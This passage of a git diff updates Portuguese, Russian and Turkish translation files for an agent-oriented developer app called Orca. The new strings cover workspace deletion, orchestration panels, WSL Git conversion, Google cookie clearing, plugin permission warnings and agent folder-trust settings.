+          "workspaceCount_other": "{{count}} espaços de trabalho",
+          "restoreFailed": "Não foi possível parar de ignorar {{value0}}",
+          "ignoreTooltip": "Ignorar: não incluir na exclusão em massa",
+          "stopIgnoring": "Parar de ignorar",
+          "stopIgnoringNamed": "Parar de ignorar {{value0}}",
+          "workspaceCount_many": "{{count}} espaços de trabalho"
         },
         "scan": {
           "progress": "Verificando espaços de trabalho ({{value0}}/{{value1}})",
@@ -21463,6 +22087,14 @@
             "unpushed": "Não enviado",
             "unknown": "Desconhecido"
           }
+        },
+        "confirm": {
+          "deletingTitle_one": "Excluindo {{count}} espaço de trabalho",
+          "deletingTitle_other": "Excluindo {{count}} espaços de trabalho",
+          "deleteTitle_one": "Excluir {{count}} espaço de trabalho?",
+          "deleteTitle_other": "Excluir {{count}} espaços de trabalho?",
+          "deletingTitle_many": "Excluindo {{count}} espaços de trabalho",
+          "deleteTitle_many": "Excluir {{count}} espaços de trabalho?"
         }
       },
       "creation": {
@@ -21618,7 +22250,18 @@
         "turnDiffsTitle": "Diferenças do turno",
         "turnDiffsCopy": "Mostra os arquivos alterados em cada turno, com contagens de linhas, abaixo da resposta.",
         "turnDiffsSearchChangedFiles": "arquivos alterados",
-        "turnDiffsSearchEdits": "edições"
+        "turnDiffsSearchEdits": "edições",
+        "linkPreviewsToggleLabel": "Alternar visualizações de links",
+        "linkPreviewsTitle": "Visualizações de links",
+        "linkPreviewsCopy": "Ao passar o mouse sobre um link, aparece um cartão de prévia. O Orca busca a página para criá-lo, então o site pode ver a solicitação.",
+        "linkPreviewsSearchUnfurl": "prévia de link",
+        "linkPreviewsSearchHover": "cartão flutuante",
+        "usageLimitContinueTitle": "Continuar chats automaticamente quando o limite de uso for redefinido",
+        "usageLimitContinueCopy": "O Orca envia “Continue where you left off.” quando o limite de uso é redefinido. Isso se aplica a todos os chats com um horário de redefinição conhecido.",
+        "usageLimitContinueSearchLimit": "limite de uso",
+        "usageLimitContinueSearchReset": "reiniciar",
+        "usageLimitContinueToggleLabel": "Alternar a continuação dos bate-papos quando um limite de uso for redefinido",
+        "openedPullRequestsSearchPr": "PR"
       },
       "voice": {
         "dictationLanguage": {
@@ -21811,7 +22454,8 @@
         "yamlSource": "orca.yaml",
         "bothSources": "orca.yaml + local",
         "localSource": "configurações locais"
-      }
+      },
+      "setupCheckFailed": "Não foi possível verificar a configuração de instalação. Tente novamente."
     },
     "JiraIssueWorkspace": {
       "pendingChange": "Outra alteração de issue está em andamento."
@@ -21921,11 +22565,73 @@
         "splitChatPane": {
           "title": "Abra um painel ao lado do chat",
           "action": "Dividir painel"
+        },
+        "newTab": {
+          "title": "Novos agentes começam aqui",
+          "body": "Clique em + para iniciar um agente, um terminal ou uma guia do navegador."
+        },
+        "splitChat": {
+          "body": "Pressione {terminal.splitRight} ou clique no botão dividir na parte superior do bate-papo. Cada lado recebe suas próprias guias.",
+          "bodyWithoutShortcut": "Clique no botão dividir na parte superior do bate-papo. Cada lado recebe suas próprias guias."
+        },
+        "split": {
+          "bodyWithoutShortcut": "Clique com o botão direito no painel para opções de divisão."
+        }
+      },
+      "badgeNew": "Novo",
+      "projectsCollapseAll": {
+        "intro": {
+          "title": "Recolher todos os projetos de uma vez",
+          "body": "Pressione {sidebar.projects.toggleCollapse}, clique neste botão ou clique com {{modifier}} em qualquer cabeçalho do projeto.",
+          "bodyWithoutShortcut": "Clique neste botão ou clique com {{modifier}} em qualquer cabeçalho do projeto.",
+          "action": "Entendi"
         }
       }
     },
+    "orchestrationCrew": {
+      "mentionAll": "Mencionar todos",
+      "mentionInMessage": "Mencionar na mensagem",
+      "mentionRejected": "O terminal não aceitou a referência do agente. Tente novamente.",
+      "title": "Orquestração",
+      "sendingUnavailable": "Envio indisponível",
+      "workers_one": "{{count}} agente executor",
+      "workers_other": "{{count}} agentes executores",
+      "managedBy": "Gerenciado por",
+      "managing": "Gerenciando",
+      "talkingWith": "Conversando com",
+      "collapse": "Recolher painel de orquestração",
+      "show": "Mostrar orquestração: {{counts}}",
+      "summary": "Orquestração: {{counts}}",
+      "needsYou_one": "{{count}} precisa de você",
+      "needsYou_other": "{{count}} precisam de você",
+      "waitingPrefix": "Aguardando você · ",
+      "noTask": "Nenhuma tarefa compartilhada",
+      "open": "Abrir {{name}}",
+      "openChat": "Abrir o chat desse agente",
+      "copiedAddress": "Endereço de {{name}} copiado",
+      "copyAddress": "Copiar endereço",
+      "showDetails": "Mostrar a tarefa e a última mensagem de {{name}}",
+      "task": "Tarefa",
+      "asksYou": "Pergunta a você",
+      "chatUnavailable": "Este host não pode abrir o chat. Tente novamente.",
+      "terminalExited": "Este terminal foi encerrado.",
+      "openOnHost": "Abra este agente em {{host}}.",
+      "cannotLocate": "Este host não pode localizar este agente. Tente novamente.",
+      "latest": "Mais recente",
+      "to": "Para",
+      "from": "De",
+      "mentionAgent": "Mencione {{name}}:",
+      "more": "Mais para {{name}}",
+      "openFailed": "{{name}}: {{detail}}",
+      "workers_many": "{{count}} agentes executores",
+      "needsYou_many": "{{count}} precisam de você"
+    },
     "dictation": {
       "stoppedAfterSilenceSeconds": "Parado após {{seconds}} segundos de silêncio"
+    },
+    "toastFallbacks": {
+      "worktreeCreateFailed": "Não foi possível criar a árvore de trabalho.",
+      "missingBaseBranchHelp": "Crie um commit inicial (por exemplo, em main) ou selecione uma ramificação existente em Criar a partir de e tente novamente."
     }
   },
   "csv": {
@@ -22213,6 +22919,8 @@
       "settingsSaveFailed": "O Orca não conseguiu salvar suas configurações de login do Antigravity. Tente novamente.",
       "lastReading": "{{reading}} · Lido {{time}}",
       "noReading": "Uso desconhecido: ainda não consultado",
+      "windowsChanged": "A conta padrão do host foi alterada. Selecione uma conta salva para aplicá-la novamente.",
+      "windowsSessions": "Selecionar aplica e verifica a credencial agy padrão do host. As opções de comando e as mudanças posteriores de conta são gerenciadas pelo agy. As sessões existentes podem continuar usando a conta anterior.",
       "fd47b5a5dd": "Contas do Antigravity"
     },
     "claude": {
@@ -22532,7 +23240,10 @@
       "linkedCount_one": "{{count}} vinculado",
       "linkedCount_other": "{{count}} vinculados",
       "linkedCount_many": "{{count}} vinculados",
-      "labels": "Rótulos: {{labels}}"
+      "labels": "Rótulos: {{labels}}",
+      "addEmoji": "Adicionar emoji",
+      "addEmojiTooltip": "Adicione emoji (ou digite :)",
+      "noEmojiFound": "Nenhum emoji encontrado"
     },
     "attachments": {
       "updateRuntime": "Atualize o runtime remoto para alterar os links do espaço de trabalho",
@@ -22869,7 +23580,11 @@
       "attached": "Um cliente agora está conectado a este terminal. Atualize antes de tentar novamente.",
       "claimed": "Um agente assumiu este terminal. Atualize antes de tentar novamente.",
       "failed": "Não foi possível verificar: os terminais locais não puderam ser atualizados. São mostrados os últimos terminais observados.",
-      "unverifiableEnd": "Não foi possível verificar: o host não confirmou o resultado. O terminal pode ainda estar em execução."
+      "unverifiableEnd": "Não foi possível verificar: o host não confirmou o resultado. O terminal pode ainda estar em execução.",
+      "selectAll": "Selecionar todos os terminais",
+      "selectAllShort": "Selecionar todos",
+      "endSelected": "Encerrar selecionados ({{count}})",
+      "selectNamed": "Selecionar {{terminal}}"
     },
     "resources": "Recursos",
     "refresh": "Atualizar",
@@ -22949,6 +23664,7 @@
       "terminalSplitDown": "Dividir terminal para baixo",
       "terminalSwitchInputSource": "Alternar fonte de entrada / idioma (nativo)",
       "newAgentTab": "Nova aba do {{agent}}",
+      "tabNewBrowserSplitRight": "Nova aba do navegador na divisão direita",
       "eca3c9fdd7": "Selecionar Aba 1–9",
       "53ae577e44": "Avançar no Navegador",
       "324e886c0f": "Ir para Alteração Anterior",
@@ -23254,7 +23970,9 @@
       "importWarpFolder": "Importar pasta de temas do Warp",
       "images": "Imagens",
       "repoIconImages": "Imagens de ícone do repositório",
-      "audio": "Áudio"
+      "audio": "Áudio",
+      "importGhosttyConfig": "Importar configuração do Ghostty",
+      "importKittyConfig": "Importar configuração do Kitty"
     }
   },
   "taskProviders": {
@@ -23609,7 +24327,8 @@
         "settingUp": "O projeto ainda está sendo configurado no host selecionado para a automação.",
         "error": "A configuração do projeto falhou no host selecionado para a automação.",
         "unsupported": "O host selecionado para a automação não oferece suporte a este projeto."
-      }
+      },
+      "agentInterrupted": "O agente foi interrompido antes de terminar esta execução."
     },
     "extraAgentArgs": {
       "errors": {
@@ -24076,5 +24795,70 @@
       "dismiss": "Dispensar",
       "cancelDownload": "Cancelar download"
     }
+  },
+  "wslDriveProject": {
+    "label": "Git",
+    "converted": "Orca executa Git no Windows para este projeto. Terminais e agentes ainda funcionam em {{distro}}.",
+    "checkFailed": "Orca não pôde verificar este projeto.",
+    "convertFailed": "Orca não conseguiu trocar o Git.",
+    "description": "Este projeto está em uma unidade do Windows, onde o Git no WSL é lento e perde as alterações feitas no Windows. Use Git para Windows; terminais e agentes ficam em {{distro}}.",
+    "useWindowsGit": "Usar Git para Windows",
+    "review": "Nada muda no Orca neste projeto: suas abas, terminais, chats e espaços de trabalho permanecem como estão. Os terminais em execução continuam.",
+    "lineEndings": "Defina também core.autocrlf neste repositório, para que o git nos terminais WSL pare de mostrar todos os arquivos alterados.",
+    "cancel": "Cancelar",
+    "confirm": "Usar Git para Windows",
+    "blocker": {
+      "notWsl": "Este projeto já roda Git no Windows.",
+      "repair": "Corrija primeiro o tempo de execução do WSL deste projeto: sua distribuição está faltando ou o WSL não está disponível.",
+      "notWindowsDrive": "Uma pasta deste projeto não está em uma unidade do Windows.",
+      "gitMissing": "Git para Windows não está instalado. Instale-o em git-scm.com e tente novamente.",
+      "wslWorktrees": "O Git do WSL criou estes espaços de trabalho, que o Git para Windows não consegue ler: {{paths}}. Remova-os ou mantenha este projeto no Git do WSL.",
+      "worktreeFolder": "Novos espaços de trabalho para este projeto estão definidos para entrar no WSL. Escolha primeiro uma pasta em uma unidade do Windows nas configurações deste projeto."
+    }
+  },
+  "wslDriveUnc": {
+    "label": "Localização",
+    "description": "Orca abre este projeto através da WSL. Em vez disso, abra-o em {{drivePath}}: o Git é executado no Windows, que é muito mais rápido aqui, e os terminais e agentes permanecem na {{distro}}.",
+    "convert": "Abrir em {{drivePath}}",
+    "review": "O Orca pausa os terminais deste projeto, reinicia e o reabre em {{drivePath}}. As abas, os terminais com seu histórico, os chats e as configurações são preservados; os terminais pausados continuam de onde pararam.",
+    "cancel": "Cancelar",
+    "confirm": "Reiniciar e converter",
+    "failed": "Orca não conseguiu converter este projeto.",
+    "restarting": "Reiniciando o Orca para converter este projeto…",
+    "terminalsBusy": "Alguns terminais deste projeto estão ocupados. Deixe-os terminar ou feche-os e tente novamente.",
+    "pauseFailed": "O Orca não conseguiu pausar os terminais deste projeto, então nada mudou.",
+    "blocker": {
+      "pending": "O Orca já está convertendo um projeto. A conversão terminará quando o Orca reiniciar.",
+      "state": "O Orca encontrou um estado salvo para este projeto que não pode ser convertido com segurança, então nada mudou.",
+      "duplicate": "{{drivePath}} já é um projeto no Orca.",
+      "mixed": "Algumas das pastas deste projeto estão dentro do WSL, não em uma unidade do Windows.",
+      "overlap": "Este projeto compartilha pastas com um projeto que o Orca não pode converter, então eles seriam divididos.",
+      "notDriveMount": "Nesta distribuição, essa pasta não é {{drivePath}}: ela não é montada a partir dessa unidade do Windows.",
+      "notConvertible": "Este projeto não está em uma unidade do Windows neste computador.",
+      "differingState": "O Orca salvou detalhes diferentes para esta pasta no caminho WSL e em {{drivePath}}, então nada mudou.",
+      "projectSplit": "Este projeto também contém um repositório que não está convertendo, então nada mudou."
+    }
+  },
+  "plugins": {
+    "frameSaveAs": {
+      "title": "Salvar arquivo",
+      "allFiles": "Todos os arquivos"
+    },
+    "frameOpenExternal": {
+      "open": "Abrir",
+      "cancel": "Cancelar",
+      "message": "{{plugin}} deseja abrir {{host}}",
+      "alwaysAllow": "Sempre permitir {{host}} para este plugin"
+    }
+  },
+  "checks": {
+    "rerunUnsuccessful": "Executar novamente as verificações malsucedidas"
+  },
+  "nestedImport": {
+    "error": {
+      "notInScan": "O repositório não foi encontrado no resultado da busca por repositórios aninhados",
+      "notGitRepository": "Não é um repositório Git válido",
+      "importFailed": "Não foi possível importar o repositório"
+    }
   }
 }
diff --git a/src/renderer/src/i18n/locales/ru.json b/src/renderer/src/i18n/locales/ru.json
index 263afc7c280..a71d719747e 100644
--- a/src/renderer/src/i18n/locales/ru.json
+++ b/src/renderer/src/i18n/locales/ru.json
@@ -288,23 +288,19 @@
     }
   },
   "browser": {
-    "passwords": {
-      "savePrompt": {
-        "open": "Предложение сохранить пароль",
-        "updateTitle": "Обновить пароль?",
-        "saveTitle": "Сохранить пароль?",
-        "username": "Имя пользователя",
-        "password": "Пароль",
-        "never": "Никогда для этого сайта",
-        "notNow": "Не сейчас",
-        "update": "Обновить",
-        "save": "Сохранить"
-      },
-      "fill": {
-        "noUsername": "(без имени пользователя)",
-        "title": "Сохранённые данные для входа",
-        "otherLogins": "Другие данные для входа на этом сайте"
-      }
+    "googleCookieClear": {
+      "signInKeyword": "вход",
+      "unavailable": "Недоступно для этого профиля на выбранном хосте.",
+      "explanation": "Google привязывает вход к браузеру, в котором он выполнен, поэтому Orca не импортирует куки Google из других браузеров. Если Google застрял на неверном аккаунте или постоянно завершает сеанс, удалите куки Google из активного профиля и войдите в Google заново в Orca. Остальные сайты останутся в системе.",
+      "action": "Удалить куки Google…",
+      "confirmTitle": "Удалить куки Google из {{profile}}?",
+      "confirmDescription": "В браузере Orca для этого профиля вы выйдете из Google. Остальные сайты останутся в системе.",
+      "clear": "Удалить",
+      "cancel": "Отмена",
+      "cleared": "Куки Google удалены из {{profile}}.",
+      "empty": "В {{profile}} нет куков Google для удаления.",
+      "remaining": "Не удалось удалить некоторые куки Google из {{profile}}. Повторите попытку.",
+      "unverified": "Не удалось проверить куки Google для {{profile}}. Повторите попытку."
     },
     "loadFailure": {
       "connectionNotSecure": "Соединение не защищено",
@@ -527,6 +523,24 @@
         "imported_few": "Импортировано {{count}} файла cookie для {{domains}}. Перезагрузите страницу, чтобы использовать их.",
         "imported_many": "Импортировано {{count}} файлов cookie для {{domains}}. Перезагрузите страницу, чтобы использовать их."
       }
+    },
+    "passwords": {
+      "savePrompt": {
+        "open": "Предложение сохранить пароль",
+        "updateTitle": "Обновить пароль?",
+        "saveTitle": "Сохранить пароль?",
+        "username": "Имя пользователя",
+        "password": "Пароль",
+        "never": "Никогда для этого сайта",
+        "notNow": "Не сейчас",
+        "update": "Обновить",
+        "save": "Сохранить"
+      },
+      "fill": {
+        "noUsername": "(без имени пользователя)",
+        "title": "Сохранённые данные для входа",
+        "otherLogins": "Другие данные для входа на этом сайте"
+      }
     }
   },
   "editor": {
@@ -714,6 +728,21 @@
         "sharper": "Чётче",
         "terminalControlledHint": "Задаётся интерфейсом терминала.",
         "terminalControlledTooltip": "Используются настройки интерфейса терминала. Выключите «Как в интерфейсе терминала», чтобы изменить это значение."
+      },
+      "editorTheme": {
+        "light": "Светлая тема редактора",
+        "lightDescription": "Цвета редактора кода, сравнения изменений и блокнотов при светлой теме приложения.",
+        "dark": "Тёмная тема редактора",
+        "darkDescription": "Цвета редактора кода, сравнения изменений и блокнотов при тёмной теме приложения.",
+        "followApp": "Как тема приложения",
+        "title": "Тема редактора",
+        "description": "Цвета редактора кода, сравнения изменений и блокнотов независимо от темы приложения.",
+        "keyword": {
+          "editor": "редактор",
+          "code": "код",
+          "monaco": "monaco",
+          "syntax": "синтаксис"
+        }
       }
     },
     "browser": {
@@ -924,6 +953,7 @@
       "defaultSurfaceSetAllChat": "Перевести все в чат",
       "defaultSurfaceSetAllTerminal": "Перевести все в терминал",
       "sameAsChoice": "Как у {{agent}} · {{choice}}",
+      "modelListFallback": "Встроенный список. Orca не удалось получить список моделей с этого хоста.",
       "chatUnavailableOnWindows": "{{value0}} Chat пока недоступен в Windows, поэтому {{value0}} открывается в терминале на этом хосте. Чаты на хосте macOS или Linux по-прежнему работают.",
       "undetectedCommandHint": "Если CLI {{agent}} установлен вне PATH, укажите полный путь к исполняемому файлу на этом хосте."
     },
@@ -1953,6 +1983,39 @@
         "description": "Эта папка находится на диске Windows. Git в WSL показывает ложные изменения окончаний строк, пропускает правки из Windows и медленно выполняет поиск в этой папке.",
         "descriptionWithPath": "{{value0}} находится на диске Windows. Git в WSL показывает ложные изменения окончаний строк, пропускает правки из Windows и медленно выполняет поиск в этой папке.",
         "title": "Добавить папки с дисков Windows на этом компьютере"
+      },
+      "cli": {
+        "detail": {
+          "registerForWsl": "Зарегистрируйте {{path}}, чтобы использовать Orca из WSL.",
+          "registerForTerminal": "Зарегистрируйте {{path}}, чтобы использовать Orca из терминала.",
+          "registerForWindowsShell": "Зарегистрируйте {{path}}, чтобы использовать Orca из командной строки или PowerShell.",
+          "devLauncherOnly": "В режиме разработки используется сгенерированный лаунчер только для проверки.",
+          "differentLauncher": "{{path}} указывает на другой лаунчер.",
+          "launcherMissing": "В этой сборке Orca отсутствует встроенный лаунчер CLI.",
+          "noWslDistro": "Нет доступных дистрибутивов WSL.",
+          "notOrcaLauncherScript": "{{path}} существует, но это не скрипт запуска Orca.",
+          "notOrcaSymlink": "{{path}} существует, но это не символическая ссылка Orca.",
+          "olderLauncher": "{{path}} содержит устаревший лаунчер Orca.",
+          "platformUnsupported": "Регистрация CLI не реализована на этой платформе.",
+          "readlinkPermissionDenied": "У Orca нет разрешения на проверку {{path}}. Проверьте разрешения для пути и его родительского каталога и повторите попытку.",
+          "registeredAt": "Зарегистрировано в {{path}}.",
+          "registeredInDistroAt": "Зарегистрировано в {{distro}} по пути {{path}}.",
+          "registrationUnavailable": "Регистрация CLI недоступна в этой сборке.",
+          "unreadableSymlink": "Не удаётся прочитать {{path}}. Зарегистрируйте снова, чтобы исправить.",
+          "windowsLauncherMissing": "Отсутствует лаунчер CLI Orca для Windows.",
+          "windowsPathCheckFailed": "Лаунчер Orca существует, но Orca не удалось проверить PATH пользователя Windows.",
+          "windowsPathTimedOut": "Команда PATH Windows не завершилась за {{ms}} мс.",
+          "wslCommandTimedOut": "Команда WSL не завершилась за {{ms}} мс.",
+          "wslDistroUnreachable": "Не удалось связаться с дистрибутивом WSL. Повторите попытку.",
+          "wslHomeUnresolved": "Не удалось определить домашний каталог WSL.",
+          "wslInteropUnavailable": "Взаимодействие WSL с Windows недоступно; Orca не может запустить Windows CLI из WSL.",
+          "wslRegistrationUnavailable": "Регистрация WSL CLI недоступна.",
+          "wslWindowsOnly": "Регистрация WSL CLI доступна только в Windows."
+        }
+      },
+      "workspacePortBrowserOpen": {
+        "systemBrowserHint": "{{shortcut}}+щелчок, чтобы открыть в системном браузере",
+        "tooltip": "{{label}}. {{hint}}"
       }
     },
     "hooks": {
@@ -2547,7 +2610,6 @@
         "23886c7eec": "Добавить метку",
         "7f7b89b631": "Метки: {{value0}}",
         "b2376d0179": "Загрузка участников",
-        "866316f22c": "Не назначено",
         "b5675b0694": "Сохранить",
         "ceeb8c6153": "Очистить",
         "fbb90300e2": "Своя оценка",
@@ -3762,7 +3824,6 @@
               "f4c79cff5f": "Прочитайте сообщение об ошибке рабочего пространства ниже, затем обновите список.",
               "ef90b21366": "Представления не найдены",
               "c0a50f96a4": "Не удалось загрузить представления",
-              "df4bd63c1d": "Не назначено",
               "30402d2c6e": "Попробуйте поиск или обновите список.",
               "a2f31c4cd6": "Проекты Linear не найдены",
               "c9b6e9f90d": "Не удалось загрузить проекты Linear",
@@ -7649,6 +7710,19 @@
           "needsInput": "Требуется ввод",
           "running": "Работает",
           "idle": "Бездействует"
+        },
+        "hostSection": {
+          "localWindows": "Локальный Windows",
+          "localMac": "Локальный Mac",
+          "localLinux": "Локальный Linux",
+          "thisComputer": "Этот компьютер",
+          "host": "Сервер"
+        },
+        "workspaceBoardStatus": {
+          "todo": "К выполнению",
+          "inProgress": "В работе",
+          "inReview": "На проверке",
+          "done": "Готово"
         }
       },
       "shared": {
@@ -7715,6 +7789,21 @@
         }
       },
       "settings": {
+        "keep": {
+          "local": {
+            "main": {
+              "up": {
+                "to": {
+                  "date": {
+                    "setting": {
+                      "f4c23aee76": "Поддерживать локальную основную ветку в актуальном состоянии"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
         "AccountsPane": {
           "locationSaveFailed": "Не удалось сохранить расположение аккаунтов. Повторите попытку.",
           "dbb9626ed1": "Отмена",
@@ -7940,7 +8029,6 @@
           "5f5142a62a": "Предыдущий значок"
         },
         "AppearancePane": {
-          "3057983501": "Не назначено",
           "b707773a0d": "Если включено, при закрытии окна Orca продолжает работать в системном трее.",
           "0cd9b8228f": "Выберите значок приложения в Dock и переключателе окон.",
           "61d842eca0": "Показывать ярлык Orca Mobile в боковой панели. Он также доступен в наборе инструментов.",
@@ -8068,6 +8156,9 @@
           "333984cf90": "Использовать существующую сессию браузера",
           "9895ed44de": "Открыть Computer Use"
         },
+        "BrowserUseEnableSwitch": {
+          "ce4d6f80d8": "Включить управление браузером агентами"
+        },
         "BrowserUseExamples": {
           "1199258ace": "Копировать",
           "1188e56af4": "Копировать пример запроса",
@@ -8308,10 +8399,6 @@
             "modeAriaLabel": "Режим открытия панели агентов",
             "modeInWindow": "Внутри окна",
             "modePopout": "Отдельное окно"
-          },
-          "browserExtensions": {
-            "copy": "Добавляет раздел «Настройки › Браузер › Расширения» для локальных профилей браузера.",
-            "toggleLabel": "Включить или отключить расширения браузера"
           }
         },
         "FloatingWorkspacePane": {
@@ -9084,6 +9171,9 @@
           "d32b87e754": "Использовать шаблон запроса, если доступен",
           "981eae7e14": "Черновик по умолчанию"
         },
+        "RepositorySourceControlAiSection": {
+          "112f3b934f": "ИИ для управления версиями"
+        },
         "RuntimeAccessGrantList": {
           "sshAccessCaveat": "Отзыв доступа здесь не мешает пользователю с доступом SSH к компьютеру выполнить сопряжение заново. Чтобы полностью отключить его, отзовите доступ SSH.",
           "6f6d5188ed": "Отозвать {{value0}}",
@@ -10486,13 +10576,6 @@
               "inWindow": "внутри окна",
               "worktrees": "рабочие деревья",
               "eaf17a7214": "Панель агентов"
-            },
-            "browserExtensions": {
-              "chrome": "chrome",
-              "description": "Запускайте расширения Chrome, например менеджеры паролей, во вкладках браузера Orca.",
-              "extension": "расширение",
-              "password": "менеджер паролей",
-              "title": "Расширения браузера"
             }
           }
         },
@@ -11659,7 +11742,7 @@
         },
         "agent-workspace-trust-copy": {
           "title": "Доверять папке при запуске агента из Orca",
-          "description": "Агенты, запущенные Orca, могут пропускать вопрос «Доверяете ли вы этой папке?», поэтому хуки и настройки агентов проекта выполняются сразу. Orca спрашивает один раз для каждого репозитория при первом запуске агента в нём; ответ можно изменить в настройках этого репозитория. Отключите, чтобы агенты всегда спрашивали сами. Агент, который задаёт этот вопрос, работая без вашего наблюдения, например исполнитель оркестрации, автоматизация или агент, запущенный с телефона, ждёт ответа в своём терминале. Уже доверенные папки сохраняют доверие."
+          "description": "Агенты, запущенные Orca, могут пропускать вопрос «Доверяете ли вы этой папке?», поэтому хуки и настройки агентов проекта выполняются сразу. Для отдельного репозитория это можно отключить в его настройках. Отключите, чтобы агенты всегда спрашивали сами. Агент, который задаёт этот вопрос, работая без вашего наблюдения, например исполнитель оркестрации, автоматизация или агент, запущенный с телефона, ждёт ответа в своём терминале. Уже доверенные папки сохраняют доверие."
         },
         "agent-generated-tab-title-copy": {
           "19ad21615a": "Автоматически создавать заголовки вкладок",
@@ -12252,12 +12335,12 @@
             "storage": "Хранить данные в собственной папке плагина",
             "secrets": "Хранить и читать секреты в собственном зашифрованном хранилище плагина",
             "settingsOwn": "Читать и менять собственные настройки плагина",
-            "agentsRead": "Получать уведомления об изменении статуса агентов",
-            "terminalRun": "Выполнять команды в ваших терминалах, включая SSH"
+            "agentsRead": "Получать уведомления об изменении статуса агента",
+            "terminalRun": "Запускать команды в ваших терминалах, включая SSH"
           },
           "decisionFailed": "Не удалось сохранить решение о разрешениях. Повторите попытку.",
           "fullAccessWarning": "Полный доступ: работает как обычная программа и может читать ваши файлы, использовать сеть, запускать другие программы и управлять Orca, включая ваши терминалы и агентов.",
-          "uiWarning": "Запускает код издателя внутри Orca, чтобы отрисовать своё представление. Orca показывает, к чему у него есть доступ, и спрашивает перед включением."
+          "uiWarning": "Запускает код издателя внутри Orca для отрисовки его интерфейса. Orca показывает, к чему он имеет доступ, и спрашивает перед включением."
         },
         "PluginConsentProvenance": {
           "official": "Официальный",
@@ -13424,7 +13507,7 @@
           "translations": "Переводы могут изменить любой текст в Orca. Убедитесь, что доверяете {{value0}}."
         },
         "PluginCardAction": {
-          "installed": "Установлен",
+          "installed": "Установлено",
           "installing": "Установка…",
           "reviewLabel": "Проверить и установить {{value0}}",
           "review": "Проверить и установить",
@@ -13528,11 +13611,11 @@
           "use": "Использовать"
         },
         "PluginInstallConsent": {
-          "noOtherAccess": "Другого доступа нет",
-          "replacesShortcut": "{{value0}} ({{value1}}) заменяет ваше сочетание клавиш для «{{value2}}».",
-          "updatesKeepApproval": "Обновления спрашивают снова только о новом доступе",
-          "fullAccessUpdates": "Обновления могут менять его код без запроса",
-          "editsFileTypes": "Открывает и редактирует файлы {{value0}} в Orca. Может читать открытые им файлы.",
+          "noOtherAccess": "Без прочих разрешений",
+          "replacesShortcut": "{{value0}} ({{value1}}) заменяет ваше сочетание клавиш для {{value2}}.",
+          "updatesKeepApproval": "Обновления переспрашивают только при новом доступе",
+          "fullAccessUpdates": "Обновления могут менять код без запроса",
+          "editsFileTypes": "Открывает и редактирует файлы {{value0}} в Orca. Может читать открытые файлы.",
           "install": "Установить и включить",
           "keepOff": "Оставить выключенным"
         },
@@ -13684,7 +13767,7 @@
         },
         "PluginPageAction": {
           "failedTitle": "Не удалось установить {{value0}}",
-          "contentOnly": "Только содержимое"
+          "contentOnly": "Только контент"
         },
         "PluginSettingsMenu": {
           "label": "Настройки плагинов",
@@ -13693,11 +13776,11 @@
           "autoUpdateHint": "Повторно спрашивает только о новом доступе"
         },
         "PluginPageHero": {
-          "screenshots": "Снимки экрана",
-          "openScreenshot": "Открыть снимок экрана: {{value0}}",
+          "screenshots": "Скриншоты",
+          "openScreenshot": "Открыть скриншот: {{value0}}",
           "position": "{{value0}} из {{value1}}",
-          "previous": "Предыдущий снимок экрана",
-          "next": "Следующий снимок экрана"
+          "previous": "Предыдущий скриншот",
+          "next": "Следующий скриншот"
         },
         "PluginContributionActionCommand": {
           "run": "Запустить",
@@ -13760,27 +13843,6 @@
           "samePublisher": "Другие под именем {{value0}}",
           "shownPluginCount_few": "Показано {{count}} подходящих плагина, включая этот",
           "shownPluginCount_many": "Показано {{count}} подходящих плагинов, включая этот"
-        },
-        "RepositorySourceControlAiSection": {
-          "112f3b934f": "ИИ для управления версиями"
-        },
-        "keep": {
-          "local": {
-            "main": {
-              "up": {
-                "to": {
-                  "date": {
-                    "setting": {
-                      "f4c23aee76": "Поддерживать локальную основную ветку в актуальном состоянии"
-                    }
-                  }
-                }
-              }
-            }
-          }
-        },
-        "BrowserUseEnableSwitch": {
-          "ce4d6f80d8": "Включить управление браузером агентами"
         }
       },
       "right": {
@@ -19022,7 +19084,6 @@
         "status": "Статус",
         "priority": "Приоритет",
         "assignee": "Исполнитель",
-        "unassigned": "Не назначено",
         "labels": "Метки",
         "countSelected": "Выбрано: {{count}}",
         "partialCoverageMarker": "· частично",
@@ -19081,14 +19142,14 @@
           "searchPlaceholder": "Поиск плагинов, категорий или издателей",
           "updates": "Обновления",
           "clearSearch": "Очистить поиск",
-          "notInstalled": "Не установлены"
+          "notInstalled": "Не установлено"
         },
         "PluginListRow": {
           "official": "Официальный"
         },
         "PluginListGroup": {
           "showAll": "Показать ещё {{value0}}",
-          "showAllTotal": "Показать все плагины ({{value0}})"
+          "showAllTotal": "Показать все плагины: {{value0}}"
         }
       },
       "terminalPane": {
@@ -19117,7 +19178,9 @@
         "failingChip": "С ошибкой: {{value0}}",
         "pendingChip": "Ожидают: {{value0}}",
         "needsActionChip": "Требуют действия: {{value0}}",
-        "unresolvedChip": "Не решено: {{value0}}"
+        "unresolvedChip": "Не решено: {{value0}}",
+        "noChecks": "Проверки не найдены",
+        "passingSummary": "Пройдено: {{value0}} из {{value1}}"
       },
       "BrowserPane": {
         "streamConnectionLost": "Соединение с удалённым сервером потеряно.",
@@ -19557,14 +19620,10 @@
         }
       },
       "agent-workspace-trust-decision": {
-        "prompt-title": "Доверять {{repo}} для агентов?",
-        "prompt-description": "Агенты, такие как Claude Code и Codex, спрашивают «Доверяете ли вы этой папке?», прежде чем загрузить собственные настройки и хуки агентов проекта, которые могут выполнять команды. Orca может отвечать «да» за вас во всех рабочих деревьях этого репозитория.",
-        "prompt-remembered": "Orca запоминает ваш ответ для этого репозитория. Его можно изменить в настройках репозитория.",
         "trust-repository": "Доверять репозиторию",
         "let-agents-ask": "Пусть агенты спрашивают",
         "setting-title": "Доверие к папкам для агентов",
         "setting-description": "Пропускают ли агенты, запущенные Orca в рабочих деревьях этого репозитория, вопрос «Доверяете ли вы этой папке?» и сразу загружают настройки и хуки агентов проекта.",
-        "setting-undecided": "Решение ещё не принято. Orca спросит, когда вы в следующий раз запустите здесь агента.",
         "setting-global-off": "Доверие к папкам отключено в настройках агентов, поэтому агенты всегда спрашивают.",
         "keyword-trust": "доверие",
         "keyword-hooks": "хуки"
diff --git a/src/renderer/src/i18n/locales/tr.json b/src/renderer/src/i18n/locales/tr.json
index 71c4f37cc42..ceddd10376a 100644
--- a/src/renderer/src/i18n/locales/tr.json
+++ b/src/renderer/src/i18n/locales/tr.json
@@ -240,23 +240,19 @@
     }
   },
   "browser": {
-    "passwords": {
-      "savePrompt": {
-        "open": "Parola kaydetme önerisi",
-        "updateTitle": "Parola güncellensin mi?",
-        "saveTitle": "Parola kaydedilsin mi?",
-        "username": "Kullanıcı adı",
